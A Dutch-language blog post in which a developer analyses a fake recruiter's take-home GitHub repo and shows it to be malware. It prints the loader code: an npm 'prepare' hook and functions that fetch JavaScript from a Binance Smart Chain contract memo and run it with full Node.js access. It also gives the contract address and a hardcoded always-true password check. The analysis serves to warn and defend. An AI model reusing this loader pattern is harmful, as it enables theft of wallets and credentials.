Een recruiter benaderde me over een Web3-ontwikkelaarspositie bij Limit Break. Goed salaris, interessant project, het hele pakket
Ze stuurden me een GitHub repo om te beoordelen als thuisopdracht. Een pokerplatform gebouwd met React, Express, Socket.io en ethers.js
Ik had het bijna gedraaid
In plaats daarvan besloot ik eerst de code te auditen. Wat ik vond was een geavanceerd malware-afleversysteem dat zijn payload verbergt op de Binance Smart Chain en het uitvoert zodra je npm install typt
Dit is de volledige analyse van hoe het werkt
De Opzet
De repo staat op github.com/LimitBreakOrgs/bet_ver_1. Op het eerste gezicht ziet het er volledig legitiem uit. Nette mappenstructuur, goede README, echte dependencies, honderden regels spellogica
bet_ver_1/├── server/ # Express backend│ ├── controllers/ # Auth, chips, users, collection│ ├── middleware/ # JWT, rate limiting, sanitization│ ├── pokergame/ # Table, Player, Deck classes│ └── socket/ # Socket.io game events├── src/ # React frontend│ ├── components/ # Poker table UI, cards, betting│ ├── context/ # State management│ └── utils/ # MetaMask wallet integration└── package.json
Er zit zelfs beveiligingsmiddleware in — mongo sanitization, XSS-bescherming, rate limiting, JWT auth. Iemand heeft echt moeite gedaan om dit op een productie-codebase te laten lijken
De Eerste Rode Vlaggen
Toen ik begon te graven, vielen me dingen op die niet klopten
De GitHub org is nep. Het echte Limit Break staat op github.com/limitbreakinc met 18 repo's, Solidity smart contracts en jaren aan geschiedenis. "LimitBreakOrgs" heeft precies één repo, nul publieke leden, twee weken geleden aangemaakt
Schaakevenementen in een pokerspel. Het socket packet bestand definieert events als CS_SelectPiece, CS_PerformMove, CS_PawnTransform. Dit zijn schaakevents. In een pokerapplicatie. De code was duidelijk gekopieerd van meerdere ongerelateerde projecten
Authenticatie is expres kapot. In de auth controller is de wachtwoordcontrole hardcoded:
// server/controllers/auth.jsconst isMatch = true; // should be: await bcrypt.compare(password, user.password)
Elk wachtwoord werkt voor elk account. Dit is geen bug — je schrijft niet per ongeluk const isMatch = true en slaat de bcrypt import over
Het .env bestand is gecommit. De .gitignore sluit .env.local uit maar niet .env zelf. Het bestand staat gewoon in de repo met API-sleutels en secrets. Ze willen dat je denkt "oh cool het is klaar om te draaien, ik hoef alleen maar te installeren"
De Val: package.json
Hier wordt het interessant. Kijk naar de scripts sectie:
{"scripts": {"start": "node server/server.js | react-scripts start","prepare": "node server/server.js"}}
Het prepare lifecycle script draait automatisch tijdens npm install. Niet npm start. Niet npm run build. Gewoon npm install
Op het moment dat je dependencies installeert, wordt server/server.js uitgevoerd
De Payload: Malware Gehost op de Blockchain
server.js ziet er normaal uit. Express app, middleware, routes, Socket.io. Maar aan het einde van het opstarten roept het één functie aan:
// server/server.jsconst { configureCollection } = require("./controllers/collection");// ... normale express setup ...startServer(); // in de listen callback:configureCollection(); // <-- dit is de trigger
En hier is configureCollection:
// server/controllers/collection.jsconst { ethers } = require("ethers");const NFT_CONTRACT_ADDRESS = process.env.NFT_CONTRACT_ADDRESS;const CONTRACT_ABI = ["function getMemo(uint256) view returns (string)"];const TX_ID = 1;const provider = new ethers.providers.JsonRpcProvider(process.env.RPC_URL);async function configureCollection() {const contract = new ethers.Contract(NFT_CONTRACT_ADDRESS, CONTRACT_ABI, provider);const memo = await contract.getMemo(TX_ID);ContentAsWeb(memo);}
Het maakt verbinding met een smart contract op Binance Smart Chain op adres 0xE251b37Bac8D85984d96da55dc977A609716EBDc. Het leest een memo veld uit transactie ID 1. Dat memo bevat een string
Een string JavaScript code
Dan voert het die uit:
function ContentAsWeb(payload) {if (!payload || typeof payload !== "string") return;try {new Function(payload); // valideert dat het parseerbare JS is} catch (err) { return; }try {const ensureWeb = new Function("require", payload);ensureWeb(require); // voert uit met volledige Node.js toegang} catch (err) {console.error("ensureWeb error", err.message);}}
new Function("require", payload) maakt een functie van de string die van de blockchain is opgehaald. Dan voert ensureWeb(require) het uit — waarbij Node.js require wordt meegegeven zodat de payload elke module kan importeren die het wil
Waarom Dit Briljant (en Angstaanjagend) Is
Dit ontwerp is slim om meerdere redenen:
De malware zit niet in de repo. GitHub's beveiligingsscanners, npm audit en elke statische analysetool vinden niets. De daadwerkelijke payload leeft on-chain
Het is veranderlijk. De aanvaller kan het memo veld van het smart contract op elk moment updaten. Vandaag steelt het misschien wallets. Morgen installeert het misschien een keylogger. De repo verandert nooit
Het gebruikt new Function() in plaats van eval(). De meeste linters en beveiligingstools markeren eval(). Minder markeren new Function() hoewel het even gevaarlijk is
De functienamen zijn gecamoufleerd. configureCollection, ContentAsWeb, ensureWeb — dit klinkt allemaal als legitieme hulpfuncties. Je zou elke regel zorgvuldig moeten lezen om te zien wat ze werkelijk doen
Het geeft require expliciet mee. new Function() heeft standaard geen toegang tot de module scope. Door require als parameter mee te geven, krijgt de payload volledige toegang tot Node.js — bestandssysteem, netwerken, child processes, alles
Wat de Payload Kan Doen
Met require beschikbaar kan het on-chain JavaScript:
require('fs')— Je SSH-sleutels, walletbestanden,.envbestanden, browserprofielen lezenrequire('child_process')— Elk shell commando op je machine uitvoerenrequire('https')— Alles naar de server van de aanvaller sturenrequire('os')— Je machine fingerprinting, je homedirectory vindenrequire('path')— Navigeren naar bekende walletlocaties
De typische doellijst voor deze aanvallen: MetaMask vaults, Phantom wallet data, SSH private keys, AWS-inloggegevens, browsercookies, wachtwoordmanager-databases
Het Grotere Plaatje
Dit is geen eenmalig geval. Dit is de Contagious Interview campagne, breed toegeschreven aan Noord-Korea's Lazarus Group. Ze draaien variaties hiervan sinds 2024 en hebben miljoenen gestolen
Het draaiboek is altijd hetzelfde:
- Maak een nep bedrijfsprofiel of doe je voor als een echt bedrijf
- Benader ontwikkelaars op LinkedIn/Telegram met een vacature
- Voer een overtuigend sollicitatieproces
- Stuur een "thuisopdracht" GitHub repo
- De repo draait malware bij installatie of opstarten
- Wallets leegtrekken, inloggegevens stelen, persistente backdoors installeren
Ze richten zich specifiek op crypto-ontwikkelaars omdat crypto-ontwikkelaars doorgaans cryptowallets op hun ontwikkelmachines hebben
Hoe Je Jezelf Beschermt
Voordat je een sollicitatie-thuisopdracht draait:
- Verifieer het bedrijf. Controleer de daadwerkelijke GitHub org, niet alleen de naam. Kruisverwijzing met LinkedIn, de bedrijfswebsite en Crunchbase
- Lees eerst
package.json. Kijk naarprepare,preinstall,postinstalleninstallscripts. Als een daarvan servercode draait, is dat een rode vlag - Zoek naar
new Function,eval,child_processenexec. Dit zijn veelvoorkomende payload-uitvoeringspatronen - Controleer op blockchain-aanroepen in niet-blockchain projecten. Een poker-app hoeft geen
ethers.jste gebruiken die bij het opstarten verbinding maakt met BSC - Gebruik een sandbox. Docker container, VM, of op zijn minst een apart gebruikersaccount zonder toegang tot je wallets of inloggegevens
- Controleer de .gitignore. Als
.envis gecommit met echt uitziende sleutels, willen ze dat je het draait zoals het is zonder na te denken
Algemene hygiëne:
- Bewaar nooit hot wallets op je ontwikkelmachine
- Gebruik hardware wallets voor aanzienlijke tegoeden
- Houd SSH-sleutels beveiligd met een wachtwoordzin
- Sla geen API-sleutels op in omgevingsvariabelen op je hoofdmachine
Het Contract
Voor de beveiligingsonderzoekers die dit lezen, het kwaadaardige contract staat op:
- Adres:
0xE251b37Bac8D85984d96da55dc977A609716EBDc - Netwerk: Binance Smart Chain (RPC:
bsc-dataseed1.binance.org) - Methode:
getMemo(uint256)met TX_ID1 - Repo:
github.com/LimitBreakOrgs/bet_ver_1
Als je dit analyseert, doe het in een geïsoleerde omgeving
Laatste Gedachte
Ik had geluk omdat ik paranoïde ben over het draaien van andermans code. Niet iedereen is dat. Als je een ontwikkelaar bent die vacatures krijgt in crypto, begint de code review bij de thuisopdracht zelf — niet bij de code erin
Blijf veilig
Stay Updated
Get notified about new posts on automation, productivity tips, indie hacking, and web3.
No spam, ever. Unsubscribe anytime.


